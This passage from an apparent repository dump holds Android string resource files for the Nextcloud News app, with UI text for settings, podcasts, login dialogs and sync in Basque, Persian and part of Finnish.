name=\"pref_general_search_in_body\">Gorputza</string>\n    <string name=\"pref_general_search_in_both\">Biak</string>\n\n    <string name=\"dialog_clearing_cache\">Cachea garbitzen</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Cachea garbitzen. Itxaron mesedez ...</string>\n    <string name=\"reset_cache_unsaved_changes\">Sinkronizatu gabeko datuak daude. Hala ere cachea berrezarri nahi duzu?</string>\n    <string name=\"warning\">Abisua</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sinkronizatu abioan</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Erakutsi irakurri gabeko artikuluak bakarrik</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Desgaitu ostalari izenaren egiaztapena</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Nabigatu bolumenaren botoiekin</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Markatu irakurrita gisa korritzean</string>\n    <string name=\"pref_title_ShowFastActions\">Gaitu sarbide azkarreko funtzioak</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Saltatu ikuspegi xehatua eta ireki artikulua nabigatzailean</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Atzeko botoiak tiradera irekitzen du</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Ziurtagiri ezezaguna onartu?</string>\n    <string name=\"mtm_decision_always\">Beti</string>\n    <string name=\"mtm_decision_abort\">Utzi bertan behera</string>\n    <string name=\"mtm_notification\">Ziurtagiriaren egiaztapena</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Ez da podcastik hautatu</string>\n    <string name=\"no_chapters_available\">Ez dago kapitulurik eskuragarri</string>\n    <string name=\"exit_playback\">Irten erreproduzigailua</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Erreprodukzio abiadura</string>\n    <string name=\"notification_downloading_podcast_title\">Podcasta deskargatzen</string>\n    <string name=\"dialog_podcast_remove_title\">Ziur zaude?</string>\n    <string name=\"dialog_podcast_remove_body\">%1$s-rentzat deskargatutako multimedia kendu nahi duzu?</string>\n    <string name=\"dialog_podcast_status_failed\">%1$s-ren multimedia kentzeak huts egin du</string>\n    <string name=\"dialog_podcast_status_success\">%1$s-ren multimedia kendu da</string>\n    <string name=\"dialog_podcast_remove_confirm\">Kendu</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Honi buruz</string>\n    <string name=\"pref_license\">Lizentzia</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">Eman akats baten berri </string>\n    <string name=\"pref_report_issue_summary\">Github kontua (doakoa) behar du</string>\n    <string name=\"pref_contribute\">Lagundu!</string>\n    <string name=\"pref_contribute_summary\">Eskuratu iturburu-kodea</string>\n    <string name=\"pref_privacy\">Pribatutasuna</string>\n    <string name=\"pref_privacy_summary\">Nextcloud Albisteak Android Pribatutasun Gidalerroa</string>\n    <string name=\"pref_news_policy\">Gurekin harremanetan jarri / Albisteen politika</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud Albisteak Android Albisteen politika / Jarri gurekin harremanetan</string>\n    <string name=\"pref_version\">Nextcloud Albisteak Android aplikazioa</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Bistaratzea</string>\n    <string name=\"pref_title_app_theme\">Gaia</string>\n    <string name=\"pref_title_feed_list_layout\">Jario-zerrendaren diseinua</string>\n    <string name=\"pref_title_font_size\">Letra-tamaina</string>\n    <string name=\"pref_display_browser\">Nabigatzailea</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Ekintza ikonoak (Ikuspegi xehatua)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Sistemaren balio lehenetsia</string>\n    <string name=\"pref_display_apptheme_light\">Argia</string>\n    <string name=\"pref_display_apptheme_dark\">Iluna</string>\n\n    <string name=\"pref_oled_mode\">Atzeko plano beltza</string>\n    <string name=\"pref_oled_mode_summary\">Gai ilunarentzat OLED pantailetan</string>\n\n    <string name=\"pref_external_player\">Kanpoko erreproduzitzailea</string>\n    <string name=\"pref_external_player_summary\">Erreproduzitu podcastak zure multimedia aplikazio lehenetsian</string>\n\n    <string name=\"pref_display_browser_cct\">Chromeren fitxa integratuak</string>\n    <string name=\"pref_display_browser_built_in\">Nabigatzaile integratua</string>\n    <string name=\"pref_display_browser_external\">Kanpoko nabigatzailea</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Koadro txikiak (Tituluak bakarrik)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Koadro txikiak</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Testu sinplea</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Izenburuak</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Testu osoa</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Web ikuspegia</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Txartel ikuspegia</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Txikia</string>\n    <string name=\"pref_display_font_size_d\">Lehenetsia</string>\n    <string name=\"pref_display_font_size_l\">Handia</string>\n    <string name=\"pref_display_font_size_xl\">Oso handia</string>\n\n    <string name=\"content_desc_play\">Erreproduzitu</string>\n    <string name=\"content_desc_pause\">Gelditu</string>\n    <string name=\"content_desc_playback_speed\">Erreprodukzio abiadura</string>\n    <string name=\"content_desc_rewind\">Atzeratu</string>\n    <string name=\"content_desc_forward\">Birbidali</string>\n    <string name=\"content_desc_expand\">Zabaldu</string>\n    <string name=\"content_desc_collapse\">Tolestu</string>\n    <string name=\"content_desc_mark_as_read\">Markatu irakurritako gisa</string>\n    <string name=\"content_desc_mark_as_unread\">Markatu irakurri gabeko gisa</string>\n    <string name=\"content_desc_tap_to_refresh\">Sakatu freskatzeko</string>\n    <string name=\"content_desc_add_to_favorites\">Gehitu gogokoetara</string>\n    <string name=\"content_desc_remove_from_favorites\">Kendu gogokoetatik</string>\n    <string name=\"content_desc_show_password\">Erakutsi pasahitza</string>\n    <string name=\"content_desc_delete\">Ezabatu</string>\n    <string name=\"content_desc_download\">Deskargatu</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Errorea</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Dirudienez albisteen aplikazioa ez dago instalatua edo aktibatua zure zerbitzarian. Mesedez jarraitu honako argibideak zure zerbitzarian albisteen aplikazioa behar bezala ezartzeko lehenengo: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Zerbait oker joan da :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Albisteen web aplikazioak \\\"0\\\" bertsioa itzuli du. Mesedez eman begiratu bat honako errore txostenari: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Aplikazioaren bertsio hau ez da zure Nextcloud Berriak aplikazioarekin bateragarria. Mesedez, bertsio-berritu berrien aplikazioa eta app framework-a.</string>\n    <string name=\"login_dialog_title_security_warning\">Segurtasun abisua</string>\n    <string name=\"login_dialog_text_security_warning\">Ez zara HTTPS erabiltzen ari, oso gomendagarria den arren. Erasotzaile batek zure trafikoa atzeman dezake eta datu sentikorrak eskuratu (adibidez, pasahitza).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Arazoren bat izan da. Saiatu berriro.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Datuak &amp; sink</string>\n    <string name=\"pref_title_clearCache\">Garbitu cachea</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cacheratu irudiak lineaz kanpo</string>\n    <string name=\"pref_title_Max_Cache_Size\">Gehienezko cache tamaina</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Inoiz ez</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">WiFi bidez bakarrik</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Wifi &amp; mugikor bidez</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Galdetu WiFi-ra konektatu gabe badago</string>\n\n    <string name=\"array_sync_interval_min_0\">Inoiz ez</string>\n    <string name=\"array_sync_interval_min_5\">5 minutu</string>\n    <string name=\"array_sync_interval_min_15\">15 minutu</string>\n    <string name=\"array_sync_interval_min_30\">30 minutu</string>\n    <string name=\"array_sync_interval_min_45\">45 minutu</string>\n    <string name=\"array_sync_interval_hour_1\">Ordu 1</string>\n    <string name=\"array_sync_interval_hour_2\">2 ordu</string>\n    <string name=\"array_sync_interval_hour_3\">3 ordu</string>\n    <string name=\"array_sync_interval_hour_6\">6 ordu</string>\n    <string name=\"array_sync_interval_hour_12\">12 ordu</string>\n    <string name=\"array_sync_interval_hour_24\">24 ordu</string>\n    <string name=\"switch_account\">Aldatu kontua</string>\n    \n    <string name=\"successfully_exported\">Ondo esportatu da:</string>\n    <string name=\"opml_export\">OPML Esportatu</string>\n    <string name=\"parsing_opml\">OPML analizatzen</string>\n    <string name=\"please_wait\">Itxaron mesedez …</string>\n    <string name=\"interval_sync_title\">Tarteen sinkronizazioa</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-fa/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">همگام‌سازی خودکار</string>\n    <string name=\"title_activity_sync_interval_selector\">فواصل همگام‌سازی</string>\n    <string name=\"empty_view_content\">موردی وجود ندارد</string>\n    <string name=\"empty_view_content_action\">Pull down to refresh</string>\n    <string name=\"toast_GettingMoreItems\">دانلود موارد بیشتر شروع شد. لطفا صبر کنید …</string>\n    <string name=\"no_wifi_available\">وای‌فایی وصل نیست</string>\n    <string name=\"do_you_want_to_download_without_wifi\">آیا می خواهید تصاویر را بدون اتصال Wi-Fi دانلود کنید؟</string>\n    <string name=\"current_version\">از نگارش %s استفاده می‌کنید</string>\n    <string name=\"widget_header\">اخبار نکست‌کلود</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d مورد جدید در دسترس است</item>\n        <item quantity=\"other\">%d مورد جدید در دسترس است</item>\n    </plurals>\n    <string name=\"message_bar_reload\">بار کردن دوباره</string>\n    <string name=\"allUnreadFeeds\">تمام موارد خوانده‌نشده</string>\n    <string name=\"starredFeeds\">موارد ستاره‌دار</string>\n    <string name=\"title_activity_new_feed\">افزودن خوراک جدید</string>\n\n    <string name=\"menu_update\">تازه‌سازی</string>\n    <string name=\"menu_markAllAsRead\">علامت همه به عنوان خوانده‌شده</string>\n    <string name=\"menu_StartImageCaching\">بارگیری تصاویر</string>\n    <string name=\"menu_downloadMoreItems\">بارگیری موارد بیش‌تر</string>\n\n    <string name=\"tv_showing_cached_version\">در حال نمایش نگارش ذخیره‌شده</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">ستاره‌دار</string>\n    <string name=\"action_read\">خواندن</string>\n    <string name=\"action_playPodacst\">پخش پادکست</string>\n    <string name=\"action_openInBrowser\">گشودن در مرورگر وب</string>\n    <string name=\"action_Share\">هم‌رسانی</string>\n    <string name=\"action_login\">تنظیمات کارساز</string>\n    <string name=\"action_save\">ذخیره</string>\n    <string name=\"action_settings\">تنظیمات</string>\n    <string name=\"action_sync_settings\">تنظییمات همگام‌سازی</string>\n    <string name=\"action_add_new_feed\">افزودن خوراک جدید</string>\n    <string name=\"action_add_new_folder\">پوشه جدید اضافه کنید.</string>\n    <string name=\"action_textToSpeech\">بازخوانی</string>\n    <string name=\"action_search\">جستجو</string>\n    <string name=\"action_download_articles_offline\">بارگیری برون‌خط مقاله‌ها</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">بارگیری مقالات برای استفاده آفلاین</string>\n    <string name=\"notification_download_images_offline\">بارگیری تصاویر برای استفاده آفلاین</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">%d مورد خوانده‌نشده دارید</item>\n        <item quantity=\"other\">%d مورد خوانده‌نشده دارید</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d مورد خواند نشده موجود است</item>\n        <item quantity=\"other\">%d مورد خواند نشده موجود است</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">نشانی خوراک</string>\n    <string name=\"action_add_feed\">افزودن خوراک</string>\n    <string name=\"import_opml\">وارد کردن OPML</string>\n    <string name=\"export_opml\">OPML را بیرون ببرید</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">بارگیری تصویر</string>\n    <string name=\"action_img_sharelink\">هم‌رسانی پیوند تصویر</string>\n    <string name=\"action_img_open\">گشودن تصویر در مرورگر</string>\n    <string name=\"action_img_copylink\">رونوشت از پیوند تصویر</string>\n    <string name=\"action_link_share\">هم‌رسانی پیوند</string>\n    <string name=\"action_link_open\">گشودن پیوند در مرورگر</string>\n    <string name=\"action_link_copy\">رونوشت از پیوند</string>\n    <string name=\"toast_img_download_wait\">در حال دانلود. لطفا صبر کنید …</string>\n    <string name=\"toast_img_saved\">تصویر ذخیره شد</string>\n    <string name=\"toast_img_notwriteable\">شکست در نوشتن تصویر</string>\n    <string name=\"toast_copied_to_clipboard\">در حافظه رونویسی شد</string>\n    <string name=\"error_download_failed\">بارگیری شکست خورد</string>\n    <string name=\"intent_title_share\">هم‌رسانی با</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">برداشتن خوراک</string>\n    <string name=\"action_feed_rename\">تغییر نام خوراک</string>\n    <string name=\"action_feed_move\">انتقال خوراک</string>\n    <string name=\"action_feed_notification_settings\">تنظیمات اعلان</string>\n    <string name=\"feed_remove_button\">برداشتن</string>\n    <string name=\"feed_rename_button\">تغییرنام</string>\n    <string name=\"confirm_feed_remove\">واقعاً می‌خواهید این خوراک را بردارید؟ این عمل قابل بازگشت نیست!</string>\n    <string name=\"feed_move_list_description\">پوشه‌ای برای انتقال خوراک برگزینید</string>\n    <string name=\"move_feed_root_folder\">پوشهٔ ریشه</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">پوشه را حذف کنید.</string>\n    <string name=\"action_folder_rename\">تغییر نام پوشه</string>\n    <string name=\"folder_remove_button\">حذف</string>\n    <string name=\"folder_rename_button\">تغییرنام</string>\n    <string name=\"confirm_folder_remove\">آیا واقعاً می خواهید این پوشه را حذف کنید؟ این قابل بازگشت نیست!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">اعلان‌های منحصربه‌فردی را برای این فید دریافت کنید.</string>\n    <string name=\"notification_feed_default\">همه فیدها با تنظیمات پیش‌فرض در یک اعلان ظاهر می‌شوند.</string>\n    <string name=\"notification_feed_none\">اصلا نوتیفیکیشن نیست.</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">افزودن</string>\n    <string name=\"hint_folder_name\">نام پوشه</string>\n    <string name=\"folder_already_exists\">پوشه از قبل وجود دارد.</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">ورود به سیستم دستی</string>\n    <string name=\"login_sso\">ورود به سیستم با استفاده از برنامه فایل های نکست کلود</string>\n    <string name=\"pref_title_username\">نام کاربری</string>\n    <string name=\"pref_title_password\">گذرواژه</string>\n    <string name=\"pref_title_owncloudRootPath\">نشانی ریشهٔ نکست‌کلود</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">ورود</string>\n    <string name=\"login_progress_signing_in\">وارد شدن …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">این زمینه لازم است</string>\n    <string name=\"error_invalid_url\">نشانی نادرست</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d مورد قدیمی بارگیری شد</item>\n        <item quantity=\"other\">%d مورد قدیمی بارگیری شدند</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">هیچ مورد دیگری موجود نیست</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Fetched %d item so far …</item>\n        <item quantity=\"other\">Fetched %d items so far …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">تنظیمات</string>\n    <string name=\"cache_is_cleared\">انباره پاک‌سازی شد!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">عمومی</string>\n    <string name=\"pref_title_general_sort_order\">ترتیب چینش</string>\n\n    <string name=\"pref_general_sort_order_new_old\">جدید → قدیمی</string>\n    <string name=\"pref_general_sort_order_old_new\">قدیمی → جدید</string>\n\n    <string name=\"pref_rename_action_swipe_right\">هنگام حرکت به سمت راست ، اقدام کنید</string>\n    <string name=\"pref_rename_action_swipe_left\">هنگام حرکت به سمت چپ ، اقدام کنید</string>\n\n    <string name=\"pref_title_general_search_in\">جست‌وجو در</string>\n\n    <string name=\"pref_general_search_in_title\">عنوان</string>\n    <string name=\"pref_general_search_in_body\">متن</string>\n    <string name=\"pref_general_search_in_both\">Both</string>\n\n    <string name=\"dialog_clearing_cache\">پاک‌سازی انباره</string>\n    <string name=\"dialog_clearing_cache_please_wait\">در حال پاک کردن مخزن لطفا صبر کنید …</string>\n    <string name=\"reset_cache_unsaved_changes\">تغییرات ناهمگامی موجودند. به هر روی، انباره بازنشانی شود؟</string>\n    <string name=\"warning\">هشدار</string>\n    <string name=\"pref_title_AutoSyncOnStart\">همگام‌سازی در شروع</string>\n    <string name=\"pref_title_ShowOnlyUnread\">فقط نمایش مقالات خوانده‌نشده</string>\n    <string name=\"pref_title_DisableHostnameVerification\">غیرفعّال کردن تأییدیهٔ نام دامنه</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">ناوبری با دکمه‌های حجم صدا</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">علامت گذاری به عنوان خوانده شده در حال پیمایش</string>\n    <string name=\"pref_title_ShowFastActions\">فعال کردن عمل‌کردهای دسترسی سریع</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">پرش از نمای باجزییات و گشودن مقاله در مرورگر</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">پذیرش گواهی‌نامهٔ ناشناس؟</string>\n    <string name=\"mtm_decision_always\">همواره</string>\n    <string name=\"mtm_decision_abort\">صرف نظر</string>\n    <string name=\"mtm_notification\">تأیید گواهی‌نامه</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">هیچ پادکستی گزیده نشده</string>\n    <string name=\"no_chapters_available\">هیچ فصلی موجود نیست</string>\n    <string name=\"exit_playback\">از پخش کننده خارج شوید.</string>\n    <string name=\"podcast_playback_speed_dialog_title\">سرعت پخش</string>\n    <string name=\"notification_downloading_podcast_title\">بارگیری پادکست</string>\n    <string name=\"dialog_podcast_remove_title\">مطمئنی؟</string>\n    <string name=\"dialog_podcast_remove_confirm\">حذف</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">درباره</string>\n    <string name=\"pref_license\">License</string>\n    <string name=\"pref_license_summary\">مجوز عمومی GNU Affero (AGPL) نسخه 3</string>\n    <string name=\"pref_report_issue\">گزارش یک مسئله</string>\n    <string name=\"pref_report_issue_summary\">به یک حساب (رایگان) گیت‌هاب نیاز دارد</string>\n    <string name=\"pref_contribute\">مشارکت!</string>\n    <string name=\"pref_contribute_summary\">کد منبع را دریافت کنید</string>\n    <string name=\"pref_privacy\">حریم خصوصی</string>\n    <string name=\"pref_privacy_summary\">خط‌ مشی رازداری Nextcloud News Android</string>\n    <string name=\"pref_version\">برنامه آندروید Nextcloud News</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">نمایش</string>\n    <string name=\"pref_title_app_theme\">زمینه</string>\n    <string name=\"pref_title_feed_list_layout\">چینش فهرست خوراک</string>\n    <string name=\"pref_title_font_size\">اندازهٔ قلم</string>\n    <string name=\"pref_display_browser\">مرورگر</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">نقشک‌های فعالیت (نمای باجزییات)</string>\n\n    <string name=\"pref_display_apptheme_auto\">پیش‌فرض سامانه</string>\n    <string name=\"pref_display_apptheme_light\">روشن</string>\n    <string name=\"pref_display_apptheme_dark\">تیره</string>\n\n    <string name=\"pref_oled_mode\">پس‌زمینهٔ سیاه</string>\n    <string name=\"pref_oled_mode_summary\">برای زمینهٔ تیره روی صفحه‌های OLED</string>\n\n    <string name=\"pref_external_player\">پخش کننده خارجی</string>\n    <string name=\"pref_external_player_summary\">پادکست‌ها را در برنامه رسانه پیش‌فرض خود پخش کنید.</string>\n\n    <string name=\"pref_display_browser_cct\">زبانه‌های شخصی کروم توکار</string>\n    <string name=\"pref_display_browser_built_in\">مرورگر توکار</string>\n    <string name=\"pref_display_browser_external\">مرورگر خارجی</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">تصاویر کوچک (فقط سرفصل ها)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">بندانگشتی‌ها</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">متن ساده</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">عناوین</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">متن کامل</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">چینش وب</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">نمای کارتی</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">کوچک</string>\n    <string name=\"pref_display_font_size_d\">پیش‌گزیده</string>\n    <string name=\"pref_display_font_size_l\">بزرگ</string>\n    <string name=\"pref_display_font_size_xl\">خیلی بزرگ</string>\n\n    <string name=\"content_desc_play\">پخش کردن</string>\n    <string name=\"content_desc_pause\">توقف کردن</string>\n    <string name=\"content_desc_playback_speed\">سرعت پخش</string>\n    <string name=\"content_desc_rewind\">باز پیچی</string>\n    <string name=\"content_desc_forward\">ارسال کردن</string>\n    <string name=\"content_desc_expand\">بسط دادن</string>\n    <string name=\"content_desc_collapse\">فروکش  کردن</string>\n    <string name=\"content_desc_mark_as_read\">علامت به عنوان خوانده‌شده</string>\n    <string name=\"content_desc_mark_as_unread\">علامت به عنوان خوانده‌نشده</string>\n    <string name=\"content_desc_tap_to_refresh\">برای تازه کردن ضربه بزنید.</string>\n    <string name=\"content_desc_add_to_favorites\">افزودن‌ به مورد علاقه‌ها</string>\n    <string name=\"content_desc_remove_from_favorites\">حذف کردن از مورد علاقه‌ها</string>\n    <string name=\"content_desc_show_password\">نمایش گذرواژه</string>\n    <string name=\"content_desc_delete\">حذف</string>\n    <string name=\"content_desc_download\">بارگیری</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">خطا</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">به نظر می‌رسد کارهٔ اخبار روی کارسازتان نصب یا فعّال نشده است. لطفاً برای برپایی کارهٔ اخبار روی کارسازتان، ابتدا روشی که این‌جا گفته شده را دنبال کنید: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">چیزی اشتباه شد ):</string>\n    <string name=\"login_dialog_text_zero_version_code\">کارهٔ اخبار وب نگارش «۰»را بازگرداند. لطفاً به گزارش مشکل زیر نگاهی بیندازید: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">نگارش کاره با کارهٔ اخبار نکست‌کلودتان سازگار نیست. لطفاً کارهٔ اخبار و چارچوب کاره را ارتقا دهید.</string>\n    <string name=\"login_dialog_title_security_warning\">اخطار امنیتی</string>\n    <string name=\"login_dialog_text_security_warning\">شما از HTTPS که قویاً تشویق می‌شود، استفاده نمی‌کنید. یک نفوذگر می‌تواند ترافیکتان را شنود کرده و به برخی داده‌های حسّاس (مانند گذرواژه) دسترسی پیدا کنید.</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">مشکلی پیش آمد. لطفا دوباره تلاش کنید.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">داده ها و همگام سازی</string>\n    <string name=\"pref_title_clearCache\">پاک‌سازی انباره</string>\n    <string name=\"pref_title_CacheImagesOffline\">انبارش برون‌خط تصاویر</string>\n    <string name=\"pref_title_Max_Cache_Size\">بیشینهٔ اندازهٔ انباره</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">هرگز</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">فقط روی وای‌فای</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">روی وای‌فای و همراه</string>\n    <string name=\"pref_data_sync_image_cache_ask\">پرسش هنگام وصل نبودن به وای‌فای</string>\n\n    <string name=\"array_sync_interval_min_0\">هرگز</string>\n    <string name=\"array_sync_interval_min_5\">۵ دقیقه</string>\n    <string name=\"array_sync_interval_min_15\">۱۵ دقیقه</string>\n    <string name=\"array_sync_interval_min_30\">۳۰ دقیقه</string>\n    <string name=\"array_sync_interval_min_45\">45 دقیقه</string>\n    <string name=\"array_sync_interval_hour_1\">۱ ساعت</string>\n    <string name=\"array_sync_interval_hour_2\">2 ساعت</string>\n    <string name=\"array_sync_interval_hour_3\">۳ ساعت</string>\n    <string name=\"array_sync_interval_hour_6\">۶ ساعت</string>\n    <string name=\"array_sync_interval_hour_12\">۱۲ساعت</string>\n    <string name=\"array_sync_interval_hour_24\">24 ساعت</string>\n    <string name=\"switch_account\">تعویض حساب</string>\n    \n    <string name=\"successfully_exported\">با موفقیت صادر شد به:</string>\n    <string name=\"opml_export\">صادرات OPML</string>\n    <string name=\"parsing_opml\">تجزیه OPML</string>\n    <string name=\"please_wait\">لطفا صبر کنید …</string>\n    <string name=\"interval_sync_title\">همگام سازی فاصله زمانی</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-fi-rFI/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Automaattinen synkronointi</string>\n    <string name=\"title_activity_sync_interval_selector\">Synkronointiväli</string>\n    <string name=\"empty_view_content\">Ei artikkeleita</string>\n    <string name=\"empty_view_content_action\">Vedä alas päivittääksesi</string>\n    <string name=\"toast_GettingMoreItems\">Ladataan lisää artikkeleita... Odota.</string>\n    <string name=\"no_wifi_available\">Ei WiFi-yhteyttä</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Haluatko ladata kuvat ilman WiFi-yhteyttä?</string>\n    <string name=\"current_version\">Käytössäsi on versio %s</string>\n    <string name=\"widget_header\">Nextcloud News</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d uusi artikkeli saatavilla</item>\n        <item quantity=\"other\">%d uutta artikkelia saatavilla</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Päivitä</string>\n    <string name=\"allUnreadFeeds\">Lukemattomat artikkelit</string>\n    <string name=\"starredFeeds\">Suosikit</string>\n    <string name=\"title_activity_new_feed\">Lisää uusi syöte</string>\n\n    <string name=\"menu_update\">Päivitä</string>\n    <string name=\"menu_markAllAsRead\">Merkitse kaikki luetuiksi</string>\n    <string name=\"menu_StartImageCaching\">Lataa kuvat</string>\n    <string name=\"menu_downloadMoreItems\">Lataa lisää artikkeleita</string>\n\n    <string name=\"tv_showing_cached_version\">Näytetään välimuistissa oleva versio</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Suosikkimerkintä päälle/pois</string>\n    <string name=\"action_read\">Merkkaa luetuksi</string>\n    <string name=\"action_playPodacst\">Toista podcast</string>\n    <string name=\"action_openInBrowser\">Avaa selaimessa</string>\n    <string name=\"action_Share\">Jaa</string>\n    <string name=\"action_login\">Palvelinasetukset</string>\n    <string name=\"action_save\">Tallenna</string>\n    <string name=\"action_settings\">Asetukset</string>\n    <string name=\"action_sync_settings\">Synkronointiasetukset</string>\n    <string name=\"action_add_new_feed\">Lisää uusi syöte</string>\n    <string name=\"action_add_new_folder\">Lisää uusi kansio</string>\n    <string name=\"action_textToSpeech\">Lue ääneen</string>\n    <string name=\"action_search\">Etsi</string>\n    <string name=\"action_download_articles_offline\">Lataa artikkelit käytettäväksi offline-tilassa</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Ladataaan artikkeleita offline-käyttöä varten</string>\n    <string name=\"notification_download_images_offline\">Lataa kuvat kaytettäväksi ilman nettiyhteyttä</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">%d uusi lukematon artikkeli</item>\n        <item quantity=\"other\">%d uutta lukematonta artikkelia</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d uusi lukematon artikkeli saatavilla</item>\n        <item quantity=\"other\">%d uutta lukematonta artikkelia saatavilla</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Syötteen osoite</string>\n    <string name=\"action_add_feed\">Lisää syöte</string>\n    <string name=\"import_opml\">Tuo OPML</string>\n    <string name=\"export_opml\">Vie OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Lataa kuva</string>\n    <string name=\"action_img_sharelink\">Jaa kuvan linkki</string>\n    <string name=\"action_img_open\">Avaa kuva selaimessa</string>\n    <string name=\"action_img_copylink\">Kopioi kuvan linkki</string>\n    <string name=\"action_link_share\">Jaa linkki</string>\n    <string 